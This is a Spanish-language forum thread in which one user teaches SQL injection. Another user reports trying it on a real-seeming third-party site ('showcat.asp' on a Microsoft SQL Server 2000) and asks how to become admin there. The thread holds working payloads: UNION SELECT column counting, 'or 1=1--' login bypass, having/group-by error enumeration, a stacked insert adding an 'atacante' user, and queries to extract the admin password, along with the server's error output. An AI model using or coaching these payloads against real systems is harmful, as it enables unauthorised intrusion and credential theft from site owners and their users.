busca info en el foro de inyeccion SQL y ve la web de la sintaxis de mysql.. pero este te lo explico rapido.

SELECT password FROM usuarios WHERE user = ''

esta primera parte lo que hace es obtener el password de la tabla usuarios donde el user sea igual a... nada

and 0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14
esto es primero:
and 0
para que no regrese ningun resultado
el union select es para regresar un resultado de 2 sentencias, esta ves, no hace querys solo, al parecer es para saber que la tabla usuario tiene 14 columnas, pero por ejemplo:

union select 1,password,3,4,5,6,7,8,9,0,1,2,3,4 from usuarios

te debe regresar en el campo de usuario el password..

te recomiendo buscar sobre inyecciones sql en el foro hay 1 tutorial, y en la web unos mas.

Saludos!!

segun entiendo tu duda es sobre que significan los numeros..

solo son para contar las columnas, facilmente puedes usar 0,0,0,0 o 1,1,1,1 que daria la mayoria de las veces el mismo resultado..

select * from nuke_authors where id=1 and user='nick' union select * from nuke_authors where id=2

esa sentencia es valida.
te regresaria lo mismo que:
select * from nuke_authors where (id=1 and user='nick') or id=2

Saludos!!

1.-
SELECT password FROM tabla WHERE columna='uno' AND otra='dos'

regresa solo una columna
cuando pones:

SELECT *

regresa todas las columnas.

por lo que
select * from nuke_authors where id=1 and user='nick' union select * from nuke_authors where id=2

esta seleccionando la misa cantidad de columnas

2.- para obtener informacion, como nombre de columnas, o incluso valores de campos.
3.- porque no seria una sentencia SQL valida.

Lee sobre mysql, para que puedas entender la sintaxis

Saludos!!

Bueno, estoy practicando esta tecnica y tengo unas cuantas preguntas mas:

1.Como sabes cuando una pagina es vulnerable? Te suele avisar si no lo es de k no se permiten ese tipo de inyecciones? Normalmente  las webs vulnerables se hace la inyeccion el "?id=" no es asi?

2. tengo un web vulnerable y no m va esta cadena: "'; insert into usuarios values (666, 'atacante', 'foobar', 0xffff)-- ". Me dice "Line 1: Incorrect syntax near ';'. " porke?¿

3. Cuando kieres hacer una inyeccion en el amdin.php k te pide user y pass, en el user puedes poner el k kieras y en el pass "'or 1=1--"? y si pones en el user "'or 1=1--" y el pass lo dejas en blanco tambien vale, verdad?¿

4. La web k encontre vulnerable, puedo acer la inyeccion en esta trayectoria: http://laweb.com/howcat.asp?id=, pedo convertirme en admin desde ahi, ya k la tabla a la k esta dirigida la consulta no es nuke_authors ni nada x el estilo.

5. Al poner 'having1=1--, me devuelve "Column 'Tree Data.Name' is invalid in the select list ..". cual es la tabla y la columna. Eske luego pongo "id=' group by Tree Data.Name having 1=1--" y me dice "Incorrect syntax near 'Data'. "

Sorry x tantas preguntas

Saludos.

1.- En k variables se suele probar manualmente?
2. No hay ninguna manera entonces de insertar valores?
3. A q te refieres con cifrar el pass? con md5 ?
4. Y como puedo obtener el pass del admin desde showcat?
5. Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1).

Weno, en primer lugar e averiguado poniendo la tabla entre comillas como me dijiste k las columnas se llaman: Name, Node.ID,ParentID y Header. Entonces pongo :
'group by "Tree Data".Name,"Tree Data".NodeID, "Tree Data".ParentID,"Tree Data".Header   having 1=1--
Y m devuelve este error :
Microsoft OLE DB Provider for SQL Server error '80040e14'
Line 1: Incorrect syntax near '1'.
/showcat.asp, line 258
Segun el manual no deberia devolverte ewste error pero weno amos a lo demas.

4. En primer lugar probe lo k me dijiste, : id=' UNION SELECT password,user FROM adminis WHERE id='1' y me devuelve este error: Invalid object name 'adminis'. Es como si no existira la tabla adminis no? K ago entonces?

2. A ver pongo esto : '; insert into "Tree Data" (Name,NodeID,ParentID,Header) values('aaa','2','4','bbb')--
sabiendo k NodeID y ParentID son de tipo int, k falla? M pone el mismo error :


 

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near ';'.

/showcat.asp, line 258
 
Saludos.

2. Y como busco el nombre de la tabla?Cual es el nombre por defecto de la tabla de autores en este sql server, como es mysql era nuke:authors? Es posible k no alla ninguna tabla k tenga el pass de los admin? eske pongo :laweb.com/admin.php y no m aparece nada...

2. a k te refieres con k tenga algun parentesis, no t entiendo..

Saludos.